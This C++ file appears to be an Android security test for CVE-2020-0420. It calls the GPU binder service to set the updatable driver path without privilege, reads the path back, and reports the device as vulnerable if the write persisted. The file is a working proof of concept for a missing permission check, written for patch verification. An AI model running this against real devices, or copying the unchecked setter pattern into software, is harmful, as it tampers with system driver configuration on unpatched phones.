60 lines
1.8 KiB
C++
60 lines
1.8 KiB
C++
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/**
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* Copyright (C) 2021 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#include "../includes/common.h"
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#include <binder/IServiceManager.h>
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#include <binder/Parcel.h>
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#include <stdio.h>
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using namespace android;
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int main(void) {
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status_t err;
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sp<IServiceManager> sm = defaultServiceManager();
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String16 name(String16("gpu"));
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sp<IBinder> service = sm->checkService(name);
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String16 interface_name = service->getInterfaceDescriptor();
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Parcel data, reply;
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std::string UpdatableDriverPath("CVE-2020-0420");
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data.writeInterfaceToken(interface_name);
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data.writeUtf8AsUtf16(UpdatableDriverPath);
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err = service->transact(3 /*SET_UPDATABLE_DRIVER_PATH,*/, data, &reply, 0);
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if (err != OK) {
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return EXIT_FAILURE;
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}
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Parcel data1, reply1;
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data1.writeInterfaceToken(interface_name);
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err = service->transact(4 /*GET_UPDATABLE_DRIVER_PATH,*/, data1, &reply1, 0);
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if (err != OK) {
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return EXIT_FAILURE;
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}
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std::string driverPath;
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err = reply1.readUtf8FromUtf16(&driverPath);
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if (err != OK) {
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return EXIT_FAILURE;
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}
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/** If the driver path returned is same as that was set, then there is no
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* check in the API and the vulnerability is present.
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*/
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if (0 == strcmp(driverPath.c_str(), UpdatableDriverPath.c_str())) {
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return EXIT_VULNERABLE;
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}
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return EXIT_SUCCESS;
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}
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